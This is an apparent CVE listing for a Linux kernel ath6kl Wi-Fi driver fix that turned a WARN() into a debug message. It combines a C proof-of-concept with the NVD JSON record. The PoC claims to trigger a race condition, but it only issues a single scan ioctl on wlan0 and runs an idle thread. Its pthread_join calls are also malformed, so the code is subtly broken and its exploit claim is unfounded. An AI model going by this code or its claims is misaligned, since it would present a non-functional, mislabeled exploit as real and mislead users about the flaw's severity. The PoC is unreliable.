CVE-2023-53639

// PoC for CVE-2023-53639 // This vulnerability is triggered by inducing a known race condition in ath6kl driver callbacks // The original code uses WARN() which is reduced to dev_dbg() in the fix #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/wireless.h> // Simulate triggering the race condition in ath6kl callback // This requires loading the ath6kl driver and performing WiFi operations volatile int trigger_race = 0; void* wifi_operation_thread(void* arg) { // Thread 1: Perform WiFi operations to trigger callbacks int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return NULL; } // Perform operations that trigger ath6kl callbacks // For example: scan, connect, disconnect operations struct iwreq wrq; memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, "wlan0", IFNAMSIZ); // Trigger scan to invoke callbacks ioctl(sock, SIOCSIWSCAN, &wrq); close(sock); return NULL; } void* interrupt_thread(void* arg) { // Thread 2: Simulate interrupt or concurrent operation while (!trigger_race) { usleep(100); } // Force concurrent access to trigger race condition return NULL; } int main(int argc, char* argv[]) { printf("CVE-2023-53639 PoC - ath6kl WARN reduction\n"); printf("This PoC demonstrates triggering the race condition\n"); printf("that causes WARN() to fire in ath6kl callback.\n\n"); // Note: Actual exploitation requires: // 1. ath6kl driver loaded // 2. Compatible WiFi hardware // 3. Root or appropriate permissions // 4. Concurrent WiFi operations pthread_t t1, t2; pthread_create(&t1, NULL, wifi_operation_thread, NULL); pthread_create(&t2, NULL, interrupt_thread, NULL); // Wait for operations to complete sleep(2); trigger_race = 1; pthread_join(&t1, NULL); pthread_join(&t2, NULL); printf("Race condition triggered. Check dmesg for WARN output.\n"); printf("After fix: Only dev_dbg() output will appear (if debug enabled).\n"); return 0; }

{"cve": {"id": "CVE-2023-53639", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:47.143", "lastModified": "2026-02-03T22:30:06.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: ath6kl: reduce WARN to dev_dbg() in callback\n\nThe warn is triggered on a known race condition, documented in the code above\nthe test, that is correctly handled. Using WARN() hinders automated testing.\nReducing severity."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.9", "versionEndExcluding": "4.14.315", "matchCriteriaId": "488DC5C7-598C-469A-81B8-CC24E08A79D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.283", "matchCriteriaId": "8AC1BC2D-A61C-4368-A3F6-50DF48E2EFC5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.243", "matchCriteriaId": "E54ACEF5-C8C1-4266-85FC-7D513FFD1DEC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.180", "matchCriteriaId": "78422AC3-CC89-479E-B4BC-62381D8F3564"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.111", "matchCriteriaId": "2B9DD776-7F17-4F72-B94F-54BFCBC692DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.28", "matchCriteriaId": "08F855F4-7188-4EE1-BD79-D4B6C7E2EF54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.15", "matchCriteriaId": "3844A90B-940D-46C3-8D7B-9FF63F1AFC2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d1792c98351b7c8ebdc53d052918e77d1e512c3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1300517e371e4d0acdb0f1237477e1ed223c3a9a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/484d95c69fc1143f09e4c2e3b89019d68d190a92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/644df7e865e76ab7a62c67c25cbbc093c944d0ef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6f93154d61b345acbc405c6dee16afb845eb298e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75c4a8154cb6c7239fb55d5550f481f6765fb83c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cbec770521ebc455c9811a23222faf8911422d4a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e7865f84adaf75cee1a4bbf79680329eca92b4e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f2a429e6da37e32438a9adc250cc176a889c16a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}